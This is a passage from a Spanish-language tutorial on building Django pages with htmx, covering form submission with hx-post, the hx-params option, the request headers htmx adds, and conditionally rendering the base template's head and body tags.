style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-list&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-post&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameCreate&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% csrf_token %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {{ form.as_p }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Save&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt;&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Colocaré un botón en la lista de videojuegos, &lt;em&gt;listVideogames.html&lt;/em&gt; para que nos redirija a la vista de creación de páginas.&lt;/p&gt;&#xA;&lt;p&gt;Esto es importante porque &lt;strong&gt;si accedemos a una url diferente a la de &lt;em&gt;home&lt;/em&gt;, que es donde se carga el script de htmx, no tendremos acceso a las funcionalidades.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Solucionaremos este problema más adelante.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/LaEtiquetaHeadNoSeCarga.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/LaEtiquetaHeadNoSeCarga.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;La etiqueta head no se carga directamente si accedemos a la ruta&#34; width=&#34;1260&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameCreate&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Submit a videogame&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mira como queda funcionando&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxFormSubmit-1.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxFormSubmit-1.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Envío de un formulario usando htmx y django&#34; width=&#34;1260&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Mira la imagen de abajo, htmx envió de manera automática el contenido de todos los campos que englobaba la etiqueta form como parte de la petición POST hecha a /videogame/create/&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/PeticionHTTPPost.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/PeticionHTTPPost.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Parámetros POST que manda de manera automática htmx&#34; width=&#34;1426&#34; height=&#34;275&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;excluyendo-parametros-con-htmx&#34;&gt;Excluyendo parámetros con htmx&lt;/h3&gt;&#xA;&lt;p&gt;Es posible excluir parámetros por medio del atributo hx-params. Para usarlo simplemente lo colocamos en la etiqueta form o la que estemos usando.&lt;/p&gt;&#xA;&lt;p&gt;hx-params recibe las siguientes posibles opciones&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;*: para incluir todos&lt;/li&gt;&#xA;&lt;li&gt;none: para no incluir parámetros&lt;/li&gt;&#xA;&lt;li&gt;not &lt;!-- raw HTML omitted --&gt;: para excluir una lista se parámetros separados entre comas&lt;/li&gt;&#xA;&lt;li&gt;&lt;!-- raw HTML omitted --&gt;: para incluir solo los parámetros que aparecen en esta lista separada por comas&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameCreate&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        hx-form=&amp;#34;*&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Submit a videogame&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;encabezados-especiales-que-manda-htmx-con-cada-peticion&#34;&gt;Encabezados especiales que manda htmx con cada petición&lt;/h2&gt;&#xA;&lt;p&gt;Hay otra cosa que sucedió y no te dije, cuando enviamos el formulario; htmx agregó algunos encabezados a nuestra petición.&lt;/p&gt;&#xA;&lt;p&gt;Cada que se realiza una petición con Htmx, se envían encabezados extras al servidor. Basta con que te metas a las herramientas de desarrollador para que veas lo que enviamos en la última petición.&lt;/p&gt;&#xA;&lt;p&gt;Se envió la url por medio del encabezado HX-Current-URL, el elemento objeto que se intercambiará por medio HX-Target, y un parámetro llamado HX-Request, que es siempre igual &amp;ldquo;true&amp;rdquo;, que le indica al servidor que hicimos la petición con htmx. HX-Trigger, se envía si especificamos una id en la etiqueta que desencadena la petición. ¿Y para que me sirven estos encabezados? Pues puedes recuperarlos con django y usarlos como mejor te convenga en tus vistas.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/EncabezadosHtmx.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/EncabezadosHtmx.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Lista de encabezados extra son agregados en cada petición&#34; width=&#34;1422&#34; height=&#34;553&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;renderizando-head-body-y-html-de-manera-condicional-con-htmx&#34;&gt;Renderizando head, body y html de manera condicional con HTMX&lt;/h2&gt;&#xA;&lt;p&gt;¿Recuerdas que teníamos el problema de que si accedíamos directamente a las url, sin pasar por home, no se cargaba htmx? Pues ahora que sabemos que tenemos estos encabezados, podemos usarlos para que el sistema de plantillas incluya la etiqueta head, html y body solamente cuando accedamos directamente a la ruta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% if not request.META.HTTP_HX_REQUEST %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lang&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;es&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;{% block title %}{{ site.name }}{% endblock %}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {% block meta %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;generator&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Htmx&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;theme-color&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#333333&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msapplication-TileColor&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#BBBBBB&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-capable&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-status-bar-style&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;black&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-title&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;{{ site.name }}&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;property&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;og:type&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;website&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {% endblock meta %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://unpkg.com/htmx.org@1.4.1&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endif %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block header %}{% endblock header %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block body %}{% endblock body %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block footer %}{% endblock footer %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% if not request.META.HTTP_HX_REQUEST %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt;&amp;gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endif %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y ahora en todas nuestras plantillas que solo retornan HTML, podemos hacer que extiendan de base.html y colocar el contenido dentro de la etiqueta &lt;em&gt;{% body %}&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% extends &amp;#34;base.html&amp;#34; %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% block body %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-list&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% for videogame in videogames %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span 